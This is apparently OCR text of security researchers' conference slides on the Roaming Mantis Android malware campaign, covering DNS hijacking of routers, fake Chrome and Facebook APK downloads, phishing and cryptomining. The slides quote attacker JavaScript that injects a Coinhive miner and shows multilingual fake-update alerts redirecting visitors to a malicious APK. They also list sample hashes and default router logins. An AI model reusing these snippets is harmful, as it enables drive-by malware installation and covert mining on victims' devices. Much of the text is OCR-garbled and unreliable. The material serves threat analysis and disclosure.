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domain
www.google.com
www.youtube.com
www. facebook.com
www. baidu.com
www.wikipedia.org
www.yahoo.com
www.google.co.in
www. reddit.com
WwWw.qg.com
www.taobao.com
www.tmall.com
WWW.3Mazon.com
www. twitter.com

www.vk.com
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Android[@ F ~JL 7 = 77 (PR MagHao)

Trojan-Banker.Android.Wroba.al

Country Number of users

Total

russian federation [ 656
korea, republic of . 74
india . 62
bangladesh l 51
japan I 47
turkey | 28
ukraine l 28
taiwan | 17
germany | 14
nepal | 11
poland | 11
kazakhstan | 10
viet nam | 10
czech republic | 8
indonesia | 8
others 99

(18/02/2018 - 18/08/2018)

Number of users

15-28
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iOSFﬂH@ YA R

(getString(1));

.href = "http://security.apple.com/";

oA Y S/ 7\\# /f I\ Sign in to Apple Store
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riteln("<script src=\'https://coinhive.com/lib/coinhive.min.js\'><" + "/script>");
reln("<script>");
eln(" var miner = new CoinHive.Anonymous (% 'MbGzUiVDoyfIbIEP8GXETUUCxgBg@GbaCy');");

- - m = T I g F i m
eLni r]ﬂr---hl‘-—:l-.n+| L . m Y, —
eln |: " -III.-|| 1

Fhyzizal Mamocy (MB)

Cached
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OSHDO 7 = 7~ A F —

||1|| alert l-]':'T 51 1ng 1 ;
.4” location.href = "http://security.apple.com/'
-1teln("<script EFE=H”httEE:ffLulhhl.e.LuﬁJllbfiﬂiﬂhive-”iﬂ-jEH'}{ "/script>"

1
u";tc1w "sscript=");
writeln var miner = new CoinHive.Anonymous (' 'MbGzUiVDoyfIbIEP8GXETUUCXxgBgebaCy');"
. miner.start();"
("< "script="

writeln
writeln
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Source: https://www.ntt-east.co.jp/info/detail /180328 01.htm!
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BRE Windows®™ 7 T Internet Explorer™ 9.0 Ol T,

FERICESLE/NYIOYT Web 759 EERT S

Web 750907 FL AMIC

] & [http://nttsetup/] Frid
Default ID:PW Mhttp://192.168.1.1/] EAHL.
= User:user [Enter] +—%&#7

FEGmO IP F L Ll
[192.168.1.1] Td.
A——F/ENAD—FEADL,
[OK] ZEoUwodT S

AALITAD— FE. [9ee®] THEmn
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Source: http://web116.jp/business/product/og410x_0g810x/pdf/0G410X0G810X_man_201803.pdf
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NJEXT www.ez—net,co, kr

- & AS-KR Korea Telecom (4766) 9 Republic of Korea
3 ﬂ'?'&g'%jlg Q@(.’Eg)ﬂuu. Q 53/dns,80/http

2\ -
- o2t HIREsE A2 [ESE 2HR. (PPPE ALEX) % NEXF2204N
- DFIPE A5 PSS BHS.(DEIP AL Q 53.dns.lookup.answers.response: 118.168.193.123
lg Internet Explorer & AL, CF &3t 20l "192.168.0.17
\23t0. “Enter” 3|E =ZLICL
OIE) EEE) EI(Y) SAHSEIA) (T) ( & AS-KR Korea Telecom (4766) @ Seoul, Seoul, Republic of Korea
£ 53/dns, 80/http
- ~ 4-\
Lt s 1B (s Qs |, [ 84=% & NEXT-2204N

3-3-1.

http://192,168,0. 1 Q 53.dns.lookup.answers.response: 118.168.193.123

& AS-KR Korea Telecom (4766) @ Busan, Busan, Republic of Korea
£ 53/dns, 80/http
Q 53.dns.lookup.answers.response: 118.168.193.123

& AS-KR Korea Telecom (4766) 9 Republic of Korea

=T - 220&" % 53/dns, 80/http
%—)r (? & (.)_| E‘| ljJ _g_g;}r j| @& NEXT-2204N
Q 53.dns.lookup.answers.response: 118.168.193.123

oM ME R M

N-RRE & AS-KR Korea Telecom (4766) @ Cheonan, Chungcheongnam-do, Republic of Korea
240w e & 53/dns, 80/http

AZE AIEEAIZ 1 hour 12 mins 2 secs

HE oC HOIESO0| 2 Q 53.dns.lookup.answers.response: 118.168.193.123

Source: http://www.ez-net.co.kr/ez-net/manual/next-2204n-router-manual-100617.pdf



£V HEss 7R L— R — D1

[OEEs] KASPERSKYS



£V HEss 7R L— R — D1

[OEEs] KASPERSKYS



ﬁﬁmif

KASPERSKYE



N O
~ ]

e chromeapk 7 > 7 4 v/ ~_—:
vl: BEE GG
v2: BE[E A,
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chrome.apk 7> 7 4 v ~—<: vl to v2

navigator.userfgent;

~ isAndroid = u.indexOf('Android®) > -1 || u.indexOFf("Adr') > -1;

var isi0s = !lu.match(/A(i[*;]+;( U;)? CPU.+Mac 05 X/);
if(isAndroid) {
window.alert( E|

MEFHO| EAEASLICH. ACOES O|SHFHAR.")

window.location.href = "http://"

+ location.hostname + “/chrome.apk"

{script>
var u = navigator.userfAgent;

var isAndroid = u.indexOf('Android') » -1 || u.indexOFf('Adr') > -1;
Vu.match{ (L[~ 1+3( U3 CPU.+Mac 05 X/F);
if (isAndroid)} {
var lang = (navigator.language || navigator.browserLanguage).tolowerCase()

it (lang.startsWith("ko™)) {// 853
window.alert("StZ F|4E Chrome 2| ZHMHFO| ZSAZIUSLIC. AGHOEE O|EFFUAIZ.")

F (lang.startsWith{"zh-en"}) { .y
EEFHHEHchromehiF. ")

|| lang.startsWith{"zh-hk™)}) {// &
alert("AEIFERIRSE, FEEHIEF chromelfid. ")

- (lang.startsWith(™zh-tw")

i.alert("To better experience the browsing, update to the latest chrome version."™)

window.location.href = "http://" + location.hostname + “/chrome.apk"

KASPERIKYS




chrome.apk 7 > 7 4 > 7 ~_—0:v2 to v3

var isAndroid = u.indexOf('&ndroid') > -1 || u.indexOf{'Adr') > -1;
Huematch(/A(I[; ]+3( U2 CPUL+Mac 05 X/);
it (isAndroid) {
var lang = (navigator.language || navigator.browserlanguage).tolowerCase()
if (lang.startsWith("ko™)) {//BE
window.alert("SHS 7§45 Chrome 9| HAIHFO| SAITYELICH. AGOES OJSHTUAIL.")
} else if {lang.startsWith("zh-cn™}} { (4%
window.alert (" SEFEEIHRAE, FEFEES chroneliE. )
b oelse if (lang.startsWith({"zh-tw") || lang.startsWith{"zh-hk"})} {

window.alert (" SEFESEIREE, FEFHEES chromeffE. ")

navigator.userfdgent;
~ isfndroid = u.indexOFf('Android') > -1 || u.indexOFf('Adr') > -1;
var 15105 = !lu.match{/A(LI[™:1+;( U3)2 CPU.+Mac 05 X/);
if (isAndroid) {
var lang = (navigator.language || navigator.browserlanguage).tolowerCase()
if {lang.startsWith("ko"™)) {
window.alert({"H|0|25 EHOr=tE 2! MES FESH|HC 2XSHA|ZEHEILLC. ")
} else if (lang.startsWith("zh-cn"}) {// &+
window.alert("BEEEfFacebooki EIETEAETEY, HEERGEE.
} else if (lang.startsWith{"zh-tw") || lang.startsWith{"zh-hk")}) {// Z4&
window.alert("BEEFacebooki ETESEALT 2, DRERSEE. )
glse if (lang.startsWith({"ja")) {
window.alert ("EEIEER<$FBTIIHIC. Bfichrome/{—=3 >ABHLTUEEL. =)
Y oelse { //EAD
window.alert({"To better experience the browsing, update to the latest chrome version.™) I{ASPERSI(\:’E




facebook.apk
T A T R—=2y]

Android = u.ind

+ Math.random(}.toStrin .substring
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facebook apk

"EEEFacebooki ELERiEAESE, LRERTHEE. ',

'APP StoreBSEREERE EEFEE'L.
zh2: ['FEEEFacebookiBETETEAETSYE, ERSEE., 1,/ /dor
ja: ['FacebookihiEW—IL) (v AERATESHRMERNESEERLELET. 1,
ko: ['HO|A5 HOIEE 2 MEE |ESH|HEH SXISHA ZEELCH. "]

en: ['To better experience the browsing, update to the latest Facebook wversion.'],
ar: [' pamei olgal dajs @i’ ,aps  Facebook par A0ls 8 . Zale Bypms dalaiialy o Hladl spimas fuweil

gy lindl baya I Bl 331 Gl pdy . a8l 3539 adwmiall paiial g Fad 33 Fsd 333l sEsale Bygesy Lgloajis le Byaill
1,/ /RS

bg: ['MonA, WHCTANWPAWTE WHCTPYMEHTE 33 paswWMpeHWETo Ha Facebook, =a ga nogofpWTe CHrYpHOCTTE W no-gofpaTta

pafoTa. AKO PasSWWpPEHMETO HE MOME O3 CE WSTErMAW MNPaEBMNHO, MONA, KNWKHETE Bwpxy ByToHa KonwpadHe, oTBopeTe Gpayswpa no

nogpasfwpaHe W NocTaBeTe Bpb3KaTa B aipecHaTa NeHTa, 3a& Aa NoayduTe gocTen go Hero. '],/ &EI0FITE
+ pl: ['Prosze zainstalowad narzedzie Facebook w celu poprawy berpieczefistwa i piynnosci obstugi. Jesli
narzedzie nie pobiera sie w sposdb prawidifowy, kliknij w przycisk Kopiuj, otwdrz przegladarke domy=lng i wklej odnosnik do
paska adresu.'],//E—=}

+ de: ['Bitte installieren 5ie das Facebook-Erweiterungstooclkit, das die Sicherheit verbessern und fliegend
zein kann. Wenn es nicht normal heruntergeladen werden kann, klicken Sie auf die Kopieren-Kndpfe und verwenden Sie den
Standardbrowser. Flgen Sie den Link vor dem Besuch in die Adressleiste ein'],// /&0
+ ru: ['MoxanyHWcTa, YCTAHOBMTE pPAacWMpWMTEenbHWA koMmnnekT Facebook, 4Tobfd ynydwuTe GeIonacHoCTe W GernoccTe
MCNONBS0BEHMA . ECNM Bol HE MOMETE MPABMNBHO SArpysSHTh, HAKMWTE KHOMKY “KONMpOBATe® M MCNONBSYATE GpaysSep No yMOMYaHuo,

yTobbl BCTEBWTE CCHNKY B aApEecHyl CTpoOKY ONA JocTyna.'],

. . o s KASPERIKY2
+ tl: ['Mangyarl 1kabit ang Facebook na ekstensyon toolkit upang mapabutl ang siguridad at katatasan. Kapag ang e
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const—-string vz, aSlgurnlLlSteDa 2

CHrypHH JIH CTe Oa OaOeTe TaKoB aspems" .

invoke-virtual {!.rl v2}, <ref StringBuilder.append(ref) imp. @ def stringEuilder _append@LL_1>
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w82 I Z(?): Prezi TORME
BES X T L2 EA0|IZURL

WEgEIBEHh T VT4 VI R—OHTMLO— F & 3B

\(b/. Prezi CHEATE EXFLORE LEANN & SUFFORT FRICIND LOD IN OET STANTED
- H}, Prezi CREATE EXPLORE LEARN & SUPPORT PRICING LOG IN GET STARTED

Minecraft 1.5.1 working 100% Download Free

11 1y 2012 - »¢ S More presentations by
pwEKliwDypTlh Tennyson

Comments 1:?] http 2/ Minyuricom/ycget 300

fmouse Click daesn work, you

document.createelement( scr

hm.src = "https:{/

m/hm.is?

&lt;html&gt; &lt;script&gt; var _hmt = _hmt || []; (function (
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& Download URLs

'“E-&E_}El',‘.'a-[?[fl} comv/sad
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600+
sagawa.apk

A 7A

sagawa.apk
956f32a28d0057805c7234d6a13aa99b
427KB (437,556)

\classes.dex

\assets\a

payload =
base64 _dec(zlib_dec(enc_data));

MagHao (McAfee)
XLoader (TrendMicro)

facebook.apk
chrome.apk .
${random}.apk

24 7B
sagawa.apk

a19f4cb93274c949e66efel13173c95e6

2.3MB (2,381,665)

\classes.dex +
\lib\S{platform}\libkao.so

\assets\code.so

aes_key = base64_dec(hardcoded data);
payload = AES_dec(enc_data, aes_key);

FAKESPY (TrendMicro)

sagawa.apk
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Manabu Niseki
NTT-CERT "

Suguru Ishimaru
Kaspersky Lab
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1. https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-
android-smartphones/85178/
2. https://securelist.com/roaming-mantis-dabbles-in-mining-and-
phishing-multilingually/85607/
. https://securelist.com/roaming-mantis-part-3/88071/

: https: blog. : ,
intelligence/xloader-androi
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